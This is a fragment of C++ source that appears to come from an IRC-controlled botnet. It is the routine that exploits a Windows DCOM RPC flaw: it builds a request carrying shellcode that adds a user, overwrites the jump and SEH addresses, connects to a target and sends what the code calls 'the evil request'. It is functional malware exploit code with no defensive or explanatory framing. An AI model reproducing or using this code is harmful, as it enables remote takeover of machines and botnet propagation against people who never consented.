/*	if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr())) 
		iShellSize=setup_shellcode(dcom2_shellcode, sizeof(dcom2_shellcode), szShellBuf, sizeof(szShellBuf), \ 
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), \ 
			DCOM2_SHELLCODE_OFFSET_PORT, DCOM2_SHELLCODE_OFFSET_IP, NULL); 
	else 
		iShellSize=setup_shellcode(dcom2_shellcode, sizeof(dcom2_shellcode), szShellBuf, sizeof(szShellBuf), \ 
			g_cMainCtrl.m_cBot.bot_ftrans_port.iValue, g_cMainCtrl.m_cIRC.m_lLocalAddr, \ 
			DCOM2_SHELLCODE_OFFSET_PORT, DCOM2_SHELLCODE_OFFSET_IP, NULL);*/ 
 
	iLoaderSize=encrypt_shellcode(dcom2_loader, sizeof(dcom2_loader), szLoaderBuf, sizeof(szLoaderBuf), NULL); 
	 
	memcpy(szLoadBuf+iPos,							dcom2_shellcode_buf,	sizeof(dcom2_shellcode_buf)		); iPos+=sizeof(dcom2_shellcode_buf); 
//	memcpy(szLoadBuf+DCOM2_SCBUF_OFFSET_SC,			szLoaderBuf,			iLoaderSize						); 
	memcpy(szLoadBuf+DCOM2_SCBUF_OFFSET_SC,			dcom2_shellcode_adduser,sizeof(dcom2_shellcode_adduser)	); 
	memcpy(szLoadBuf+DCOM2_SCBUF_OFFSET_JMP_ADDR,	&dcom2_my_offsets[0].lJmpAddr,	4						); 
	memcpy(szLoadBuf+DCOM2_SCBUF_OFFSET_TOP_SEH, 	&dcom2_my_offsets[0].lTopSEH,	4						); 
	iLoadSize=iPos; iPos=0; 
 
	// Build the request 
	memcpy(szReqBuf+iPos,	dcom2_request1,		sizeof(dcom2_request1)-1	); iPos+=sizeof(dcom2_request1)-1; 
	memcpy(szReqBuf+iPos,	dcom2_request2,		sizeof(dcom2_request2)-1	); iPos+=sizeof(dcom2_request2)-1; 
	memcpy(szReqBuf+iPos,	szLoadBuf,			iLoadSize					); iPos+=iLoadSize; 
	memcpy(szReqBuf+iPos,	dcom2_request3,		sizeof(dcom2_request3)-1	); iPos+=sizeof(dcom2_request3)-1; 
	memcpy(szReqBuf+iPos,	dcom2_request4,		sizeof(dcom2_request4)-1	); iPos+=sizeof(dcom2_request4)-1; 
	iReqSize=iPos; iPos=0; 
 
	pTemp=szReqBuf+sizeof(dcom2_request1)-1; // Fill the request with the right sizes 
	*(unsigned long*)(pTemp)		= *(unsigned long*)(pTemp)		+ iLoadSize / 2; 
	*(unsigned long*)(pTemp+8)		= *(unsigned long*)(pTemp+8)	+ iLoadSize / 2; pTemp=szReqBuf; 
    *(unsigned long*)(pTemp+8)		= *(unsigned long*)(pTemp+8)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+16)		= *(unsigned long*)(pTemp+16)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+128)	= *(unsigned long*)(pTemp+128)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+132)	= *(unsigned long*)(pTemp+132)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+180)	= *(unsigned long*)(pTemp+180)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+184)	= *(unsigned long*)(pTemp+184)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+208)	= *(unsigned long*)(pTemp+208)	+ iLoadSize - 12; 
	*(unsigned long*)(pTemp+396)	= *(unsigned long*)(pTemp+396)	+ iLoadSize - 12; 
 
    char szAssocGroup[4]; 
 
	// Connect to the server 
	int iErr=connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in)); 
	if(iErr==-1) // Connect failed, exit 
	{	xClose(sSocket); return false; } 
 
	// Send the bind string 
	if(xWrite(sSocket, dcom2_bindstr, sizeof(dcom2_bindstr)-1)==SOCKET_ERROR) { xClose(sSocket); return false; } 
	// Read reply 
	if(xRead(sSocket, szRecvBuf, sizeof(szRecvBuf))==SOCKET_ERROR) { xClose(sSocket); return false; } 
	// Check for DCE_PKT_BINDACK 
//	if(szRecvBuf[2]!=DCE_PKT_BINDACK) { xClose(sSocket); return false; } 
	// Store the association group for later usage 
    memcpy(szAssocGroup, szRecvBuf+20, 4); 
 
	// Send the evil request 
	if(xWrite(sSocket, szReqBuf, iReqSize)==SOCKET_ERROR) { xClose(sSocket); return false; } 
	// Read reply 
	if(xRead(sSocket, szRecvBuf, sizeof(szRecvBuf))==SOCKET_ERROR) { xClose(sSocket); return false; } 
	// Check for DCE_PKT_FAULT 
	if(szRecvBuf[2]==DCE_PKT_FAULT) { xClose(sSocket); return false; } 
 
	// Close the socket that was once funky fresh 
	xClose(sSocket); return true; 
}